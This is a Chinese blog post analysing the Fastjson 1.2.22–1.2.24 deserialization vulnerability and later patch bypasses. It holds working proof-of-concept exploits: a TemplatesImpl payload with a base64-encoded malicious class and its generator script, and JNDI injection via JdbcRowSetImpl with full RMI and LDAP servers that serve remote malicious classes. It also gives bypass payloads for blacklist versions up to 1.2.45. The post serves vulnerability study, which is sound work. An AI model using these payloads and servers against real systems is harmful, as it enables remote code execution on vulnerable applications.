Fastjson 1.2.22-24 反序列化漏洞分析

Fastjson 1.2.22-24

FastJson在 1.2.22 - 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:

fastjson反序列化时,JSON字符串中的 @type 字段,用来表明指定反序列化的目标恶意对象类。
fastjson反序列化时,字符串时会自动调用恶意对象的构造方法, setter 方法, getter 方法

若这类方法中存在利用点,即可完成漏洞利用,而利用方式只要有两种

JdbcRowSetImpl(JNDI)
TemplatesImpl(Feature.SupportNonPublicField)

环境配置

JDK 1.8
fastjson1.2.22

    <dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.22</version>
    </dependency>
    </dependencies>

反序列化使用

一个简单的Students类,它有一个公有属性name和一个私有属性age

public class Student {
    public String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

设置一段json字符串并将其反序列化成Student对象

import com.alibaba.fastjson.JSON;

public class learn {
    public static void main(String[] args){
        String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
        //System.out.println(JSON.parse(jsonstring));
        System.out.println(JSON.parseObject(jsonstring));
    }
}

Fastjson反序列化流程分析

在parseObject处下断点,跟进
在这里插入图片描述
第一行将json字符串转化成对象,跟进parse

在这里插入图片描述
继续跟进
在这里插入图片描述这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作
在这里插入图片描述
判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
在这里插入图片描述
因为之前设置了token值为12,这里在第一行会创建一个空的JSONObject,随后会通过parseObject方法进行解析,在解析后有如下操作
在这里插入图片描述
通过scanSymbol获取到@type指定类,然后通过 TypeUtils.loadClass 方法加载Class
在这里插入图片描述
这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
在这里插入图片描述
接着创建了ObjectDeserializer类并调用了deserialze方法
在这里插入图片描述首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
在这里插入图片描述继续往下调试最后便会调用set和get里面的方法,这样便能成功反序列化。
我这里没有进行区分,这里用parse能成功触发set方法,而parseObject能同时触发了set和get方法,如果我们在get或set方法中存在恶意操作,并且通过autoType进行指定转换就能利于fastjson反序列化漏洞

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类调用其构造方法,造成任意命令执行。TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手,需要开启Feature.SupportNonPublicField,实战中不适用。

poc

先写恶意类TEMPOC.java,用于弹计算器

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet { //这里为什么要继承AbstractTranslet类后面会说。

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

将其编译成.class文件,然后base64加密,这里贴一个简单的base64脚本,用来加密payload

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print(poc)

#生成的一个poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

PoC中几个重要的Json键的含义:

@type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplFastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes和_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField;
_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
_outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
_tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;

前面的流程差不多,直接断点到不同的部分,进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

在这里插入图片描述
跟进parseField方法,对_bytecodes对应的内容进行解析

在这里插入图片描述

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

在这里插入图片描述

继续跟进FieldDeserializer#setValue方法,这里使用了set方法来设置_bytecodes的值

在这里插入图片描述
这里解析到_outputProperties的内容
在这里插入图片描述这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
在这里插入图片描述跟进TemplatesImpl#getOutputProperties
在这里插入图片描述跟进newTransformer方法
在这里插入图片描述跟进getTransletInstance方法

在这里插入图片描述这里通过defineTransletClasses创建了TEMPOC类并生成了实例,这里往前翻,有对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类
在这里插入图片描述

几个小问题
为什么要继承AbstractTranslet类

就是上面刚说的这个,对父类有验证,所有Payload恶意类要继承自该类
在这里插入图片描述

为什么需要对_bytecodes进行Base64编码

上面说了通过FieldDeserializer#parseField_bytecodes对应的内容进行解析得到对value是base64解码后的内容,那么我们就看一看value值怎么来的在这里插入图片描述FieldDeserializer#parseField
->ObjectArrayCodec#deserialze
->DefaultJSONParser#parseArray
->ObjectDeserializer#deserializer
->JSONScanner#bytesValue

在这里插入图片描述最后会将_bytecodes的内容进行base64解码返回

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错
在这里插入图片描述

JdbcRowSetImpl利用链

实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广,必须能出网,加载远端的恶意字节码,造成了局限性

RMI+JNDI

poc

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

远程恶意类badClassName.class

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}

客户端JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

LDAP+JNDI

POC和上面基本一样

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java,这里需要unboundid-ldapsdk

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8888/#badClassName";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LDAPClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws Exception{
        try {
            Context context = new InitialContext();
            context.lookup("ldap://127.0.0.1:1389/badClassName");
        }
        catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

恶意远程类和上面一样

断点分析

jar!\com\sun\rowset\JdbcRowSetImpl.class进行断点分析,这里通过setDataSourceName(var1);dataSourceName值设置为目标RMI服务的地址
在这里插入图片描述
再跟进到setAutoCommit
在这里插入图片描述
继续跟进到connect()
在这里插入图片描述这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,也就是说我们可控,同时lookup进行利用就造成了JNDI注入漏洞。

补丁分析

1.2.25

我们从1.2.25看如何对其进行修补,就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数:

在这里插入图片描述

checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空),默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。
在这里插入图片描述

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

运行能看到报错信息,说autoType不支持该类
在这里插入图片描述

1.2.25~1.2.41

增加黑名单判断

Bypass

loadClass时会移除开头的L和结尾的;

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
1.2.42

会先将开头的L和结尾的;移除再进行黑名单判断

Bypass

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
1.2.43

遇到LL开头的typeName直接抛出异常退出….

1.2.25~1.2.45

绕过黑名单的方式

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

Fastjson 1.2.22-1.2.24反序列化漏洞分析

Fastjson系列二——1.2.22-1.2.24反序列化漏洞

Fastjson 反序列化漏洞简析

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值